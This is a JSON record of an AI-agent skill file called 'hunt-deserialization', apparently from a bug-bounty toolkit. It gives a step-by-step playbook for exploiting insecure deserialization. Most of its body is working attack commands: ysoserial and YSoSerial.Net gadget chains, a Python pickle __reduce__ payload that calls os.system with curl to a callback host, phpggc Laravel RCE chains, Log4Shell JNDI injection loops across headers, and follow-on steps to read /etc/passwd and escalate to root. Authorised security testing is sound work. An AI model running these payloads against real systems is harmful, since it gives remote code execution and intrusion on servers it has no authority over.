{"id":"hunt-deserialization","name":"hunt-deserialization","summary":"Hunt Insecure Deserialization — Java ガジェットチェーン(ysoserial)、PHP オブジェクト注入(phpggc)、Python pickle RCE、.NET BinaryFormatter、Ruby Marshal.load、JNDI/Log4Shell。","body":"# HUNT-DESERIALIZATION — Insecure Deserialization\n\n## Crown Jewel Targets\n\nDeserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.\n\n**Highest-value chains:**\n- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution\n- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE\n- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`\n- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE\n- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE\n- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE\n\n---\n\n## Attack Surface Signals\n\n### Detection Patterns\n```bash\n# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)\necho \"rO0ABXQ=\" | base64 -d | xxd | head -1  # shows: ac ed 00 05\n\n# PHP serialization: O:8:\"stdClass\":0:{}\n# Python pickle: starts with \\x80\\x04 (protocol 4) or \\x80\\x02\n\n# Apache Shiro: rememberMe cookie present\ncurl -sI https://$TARGET/ | grep -i \"Set-Cookie.*rememberMe\"\n\n# Log4j: test user-controlled fields for JNDI interpolation\ncurl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/\n```\n\n### Header / Cookie Signals\n```\nContent-Type: application/x-java-serialized-object\nCookie containing rO0= prefix (Java base64 serialized)\nCookie: rememberMe= (Apache Shiro)\nCookie: _VIEWSTATE (ASP.NET ViewState without encryption)\nEndpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/\n```\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Java Deserialization (ysoserial)\n```bash\n# Install ysoserial\nwget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar\n\n# Generate OOB detection payload\njava -jar ysoserial-all.jar CommonsCollections6 \\\n  'curl http://COLLAB_HOST/ysoserial' | base64 -w0\n\n# Send as body or cookie\njava -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \\\n  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \\\n    -H \"Content-Type: application/x-java-serialized-object\" \\\n    --data-binary @-\n\n# Apache Shiro exploit (default AES key)\npython3 shiro_exploit.py -u https://$TARGET/ -c \"id\"\n```\n\n### Phase 2 — PHP Object Injection\n```bash\n# Find unserialize() calls in source\ngrep -r \"unserialize(\" --include=\"*.php\" .\n\n# Inject test: O:8:\"stdClass\":1:{s:4:\"test\";s:5:\"value\";}\n# Send in cookie, POST param, or hidden form field\n# If error changes → deserialization confirmed\n\n# Craft gadget chain using phpggc\ngit clone https://github.com/ambionics/phpggc\nphp phpggc -l  # list chains\nphp phpggc Laravel/RCE5 system id | base64\n```\n\n### Phase 3 — Python Pickle\n```bash\n# Generate OOB payload\npython3 -c \"\nimport pickle, os, base64\nclass Exploit(object):\n    def __reduce__(self):\n        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))\nprint(base64.b64encode(pickle.dumps(Exploit())).decode())\n\"\n\n# Send as cookie or POST body\ncurl -s https://$TARGET/api/load-model \\\n  -H \"Content-Type: application/octet-stream\" \\\n  --data-binary @payload.pkl\n```\n\n### Phase 4 — .NET ViewState\n```bash\n# Check if ViewState is unsigned (MAC disabled)\n# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC\n\n# YSoSerial.Net\ndotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \\\n  -c \"cmd /c curl http://COLLAB_HOST/viewstate-rce\" -o base64\n```\n\n### Phase 5 — Log4Shell / JNDI\n```bash\n# Test all user-controlled inputs\nCOLLAB=\"COLLAB_HOST\"\nfor HEADER in \"User-Agent\" \"X-Forwarded-For\" \"Referer\" \"X-Api-Version\" \"Accept-Language\"; do\n  curl -s https://$TARGET/ -H \"$HEADER: \\${jndi:dns://$COLLAB/$HEADER}\" &\ndone\n\n# Test POST body fields\ncurl -s -X POST https://$TARGET/api/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"username\\\": \\\"\\${jndi:ldap://$COLLAB/a}\\\"}\"\n```\n\n### Phase 6 — Ruby Marshal\n```bash\n# Look for Marshal.load in source\ngrep -r \"Marshal.load\\|Marshal.restore\" --include=\"*.rb\" .\n\n# Gem::Requirement gadget chain via marshalable objects\n# Use ruby-advisory-db gadgets\n```\n\n---\n\n## Chain Table\n\n| Deserialization signal | Chain to | Impact |\n|-----------------------|----------|--------|\n| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |\n| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |\n| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |\n| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |\n\n---\n\n## Automation\n```bash\n# OOB listener\ninteractsh-client -v -n 5\n\n# JNDI exploit kit\ngit clone https://github.com/pimps/JNDI-Exploit-Kit\n```\n\n---\n\n## Validation\n\n✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed\n✅ Command output in response: full RCE confirmed\n\n**Severity:** Almost always **Critical** — RCE with server process privileges.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-deserialization","license":"MIT","category":"writing","lang":"en","tokens":1389,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}